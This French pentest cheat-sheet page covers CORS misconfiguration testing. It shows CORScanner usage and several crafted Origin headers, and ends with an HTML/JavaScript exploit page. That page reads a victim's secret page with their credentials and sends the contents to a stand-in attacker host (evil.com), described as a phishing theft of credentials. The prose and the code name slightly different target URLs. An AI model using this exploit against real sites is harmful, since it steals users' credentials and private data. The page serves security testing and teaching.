CORS
Cross-Origin Ressource Sharing
CORScanner
CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).
Exemple d'utilisation:
$ python cors-scanner.py -u https://target.com/
ressource: https://github.com/chenjj/CORScanner
Manuel
Origin aléatoire
Header Requête:
Origin: http://evil.com
Regarder dans la réponse si l'url est acceptée.
Header Réponse:
Access-Control-Allow-Origin: http://evil.com
Origin null
Header requête:
Origin: null
Regarder si une origine "null" est acceptée.
Header réponse:
Access-Control-Allow-Origin: null
Origin commençant par nom de sous-domaine de la cible
Header requête:
Origin: sub.target.com.evil.com
Header réponse:
Access-Control-Allow-Origin: sub.target.com.evil.com
Origin finissant par nom de sous-domaine de la cible
Header requête:
Origin: eviltarget.com
Origin: evil-target.com
Header réponse:
Access-Control-Allow-Origin: eviltarget.com ou evil-target.com
Exemple de phishing utilisant une mauvaise configuration de CORS:
Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans http://target.com/secrets.
Contenu de la page http://evil.com/exploit:
<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://target.xyz/secret", {
method: "GET",
credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
})
.then(res => res.text())
.then(data => {
// Send result back to attacker
fetch("https://evil.com/log?data=" + encodeURIComponent(data));
})
.catch(err => {
console.error("Error:", err);
});
</script>
</body>
</html>
On envoie ensuite le lien (http://evil.com/exploit) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur https://target.com/secrets et récupérer ses identifiants pour les afficher dans les logs de evil.com (http://evil.com/log?key=<données de la page https://target.com/secrets>).
Dernière mise à jour
Cet article vous a-t-il été utile ?